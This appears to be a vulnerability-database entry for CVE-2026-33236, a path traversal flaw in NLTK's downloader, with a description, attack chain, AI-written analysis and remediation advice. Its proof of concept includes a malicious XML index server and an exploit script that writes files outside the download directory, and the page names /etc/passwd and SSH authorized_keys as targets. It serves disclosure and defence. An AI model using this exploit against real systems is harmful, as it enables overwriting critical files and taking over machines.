Python
CVE-2026-33236
HIGH
Severity by source
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
Primary rating from Vendor (https://github.com/nltk/nltk).
CVSS VectorVendor: https://github.com/nltk/nltk
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
Lifecycle Timeline
2Blast Radius
ecosystem impact- 17 pypi packages depend on nltk (15 direct, 2 indirect)
Ecosystem-wide dependent count for version 3.9.2.
DescriptionCVE.org
Vulnerability Description
The NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to:
- Arbitrary Directory Creation: Create directories at arbitrary locations in the file system
- Arbitrary File Creation: Create arbitrary files
- Arbitrary File Overwrite: Overwrite critical system files (such as
/etc/passwd,~/.ssh/authorized_keys, etc.)
Vulnerability Principle
Key Code Locations
1. XML Parsing Without Validation (nltk/downloader.py:253)
self.filename = os.path.join(subdir, id + ext)subdirandidare directly from XML attributes without any validation
2. Path Construction Without Checks (nltk/downloader.py:679)
filepath = os.path.join(download_dir, info.filename)- Directly uses
filenamewhich may contain path traversal
3. Unrestricted Directory Creation (nltk/downloader.py:687)
os.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True)- Can create arbitrary directories outside the download directory
4. File Writing Without Protection (nltk/downloader.py:695)
with open(filepath, "wb") as outfile:- Can write to arbitrary locations in the file system
Attack Chain
1. Attacker controls remote XML index server
↓
2. Provides malicious XML: <package id="passwd" subdir="../../etc" .../>
↓
3. Victim executes: downloader.download('passwd')
↓
4. Package.fromxml() creates object, filename = "../../etc/passwd.zip"
↓
5. _download_package() constructs path: download_dir + "../../etc/passwd.zip"
↓
6. os.makedirs() creates directory: download_dir + "../../etc"
↓
7. open(filepath, "wb") writes file to /etc/passwd.zip
↓
8. System file is overwritten!Impact Scope
- System File Overwrite
Reproduction Steps
Environment Setup
- Install NLTK
pip install nltk- Prepare malicious server and exploit script (see PoC section)
Reproduction Process
Step 1: Start malicious server
python3 malicious_server.pyStep 2: Run exploit script
python3 exploit_vulnerability.pyStep 3: Verify results
ls -la /tmp/test_file.zipProof of Concept
Malicious Server (malicious_server.py)
#!/usr/bin/env python3
"""Malicious HTTP Server - Provides XML index with path traversal"""
import os
import tempfile
import zipfile
from http.server import HTTPServer, BaseHTTPRequestHandler
# Create temporary directory
server_dir = tempfile.mkdtemp(prefix="nltk_malicious_")
# Create malicious XML (contains path traversal)
malicious_xml = """<?xml version="1.0"?>
<nltk_data>
<packages>
<package id="test_file" subdir="../../../../../../../../../tmp"
url="http://127.0.0.1:8888/test.zip"
size="100" unzipped_size="100" unzip="0"/>
</packages>
</nltk_data>
"""
# Save files
with open(os.path.join(server_dir, "malicious_index.xml"), "w") as f:
f.write(malicious_xml)
with zipfile.ZipFile(os.path.join(server_dir, "test.zip"), "w") as zf:
zf.writestr("test.txt", "Path traversal attack!")
# HTTP Handler
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/malicious_index.xml':
self.send_response(200)
self.send_header('Content-type', 'application/xml')
self.end_headers()
with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f:
self.wfile.write(f.read())
elif self.path == '/test.zip':
self.send_response(200)
self.send_header('Content-type', 'application/zip')
self.end_headers()
with open(os.path.join(server_dir, 'test.zip'), 'rb') as f:
self.wfile.write(f.read())
else:
self.send_response(404)
self.end_headers()
def log_message(self, format, *args):
pass
# Start server
if __name__ == "__main__":
port = 8888
server = HTTPServer(("0.0.0.0", port), Handler)
print(f"Malicious server started: http://127.0.0.1:{port}/malicious_index.xml")
print("Press Ctrl+C to stop")
try:
server.serve_forever()
except KeyboardInterrupt:
print("\nServer stopped")Exploit Script (exploit_vulnerability.py)
#!/usr/bin/env python3
"""AFO Vulnerability Exploit Script"""
import os
import tempfile
def exploit(server_url="http://127.0.0.1:8888/malicious_index.xml"):
download_dir = tempfile.mkdtemp(prefix="nltk_exploit_")
print(f"Download directory: {download_dir}")
# Exploit vulnerability
from nltk.downloader import Downloader
downloader = Downloader(server_index_url=server_url, download_dir=download_dir)
downloader.download("test_file", quiet=True)
# Check results
expected_path = "/tmp/test_file.zip"
if os.path.exists(expected_path):
print(f"\n✗ Exploit successful! File written to: {expected_path}")
print(f"✗ Path traversal attack successful!")
else:
print(f"\n? File not found, download may have failed")
if __name__ == "__main__":
exploit()Execution Results
✗ Exploit successful! File written to: /tmp/test_file.zip
✗ Path traversal attack successful!AnalysisAI
NLTK downloader contains a path traversal vulnerability that allows remote attackers to write arbitrary files to any location on the filesystem when a user downloads packages from a malicious server. Attackers controlling a remote XML index server can inject path traversal sequences (../) into package metadata to overwrite critical system files including /etc/passwd or SSH authorized_keys. A working proof-of-concept exploit exists demonstrating arbitrary file creation at /tmp/test_file.zip via malicious server and client script.
Technical ContextAI
NLTK (Natural Language Toolkit) is a widely-used Python library for natural language processing that includes a downloader component for fetching datasets and models. The affected product is pkg:pip/nltk as identified in the CPE data. The vulnerability stems from CWE-22 (Improper Limitation of a Pathname to a Restricted Directory), where the downloader.py module directly concatenates user-controlled XML attributes 'subdir' and 'id' into file paths without validation at lines 253, 679, 687, and 695. When parsing remote XML index files, the Package.fromxml() method constructs filenames using os.path.join(subdir, id + ext) without sanitizing path traversal sequences, allowing directory escape through sequences like '../../../../../tmp'. This bypasses the intended download_dir restriction and enables writing to arbitrary filesystem locations.
RemediationAI
Consult the GitHub Security Advisory at https://github.com/nltk/nltk/security/advisories/GHSA-469j-vmhf-r6v7 for the official patch and upgrade to the fixed version of NLTK as specified by the maintainers. Until patching is possible, implement multiple defensive layers: restrict NLTK downloader to only use trusted official servers by avoiding custom server_index_url parameters, implement network-level controls to prevent connections to untrusted servers, validate and sanitize all downloaded content in an isolated environment before production use, and consider using HTTPS-only connections with certificate pinning to prevent man-in-the-middle attacks that could redirect to malicious servers. For high-security environments, pre-download required NLTK data packages from trusted sources and distribute them through internal channels rather than allowing runtime downloads. Review filesystem permissions to ensure the user running NLTK processes has minimal write access to reduce the impact of successful exploitation.
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Same weakness CWE-22 – Path Traversal
View allSame technique Path Traversal
View allVendor StatusVendor
SUSE
Severity: HighShare
External POC / Exploit Code
Leaving vuln.today
GHSA-469j-vmhf-r6v7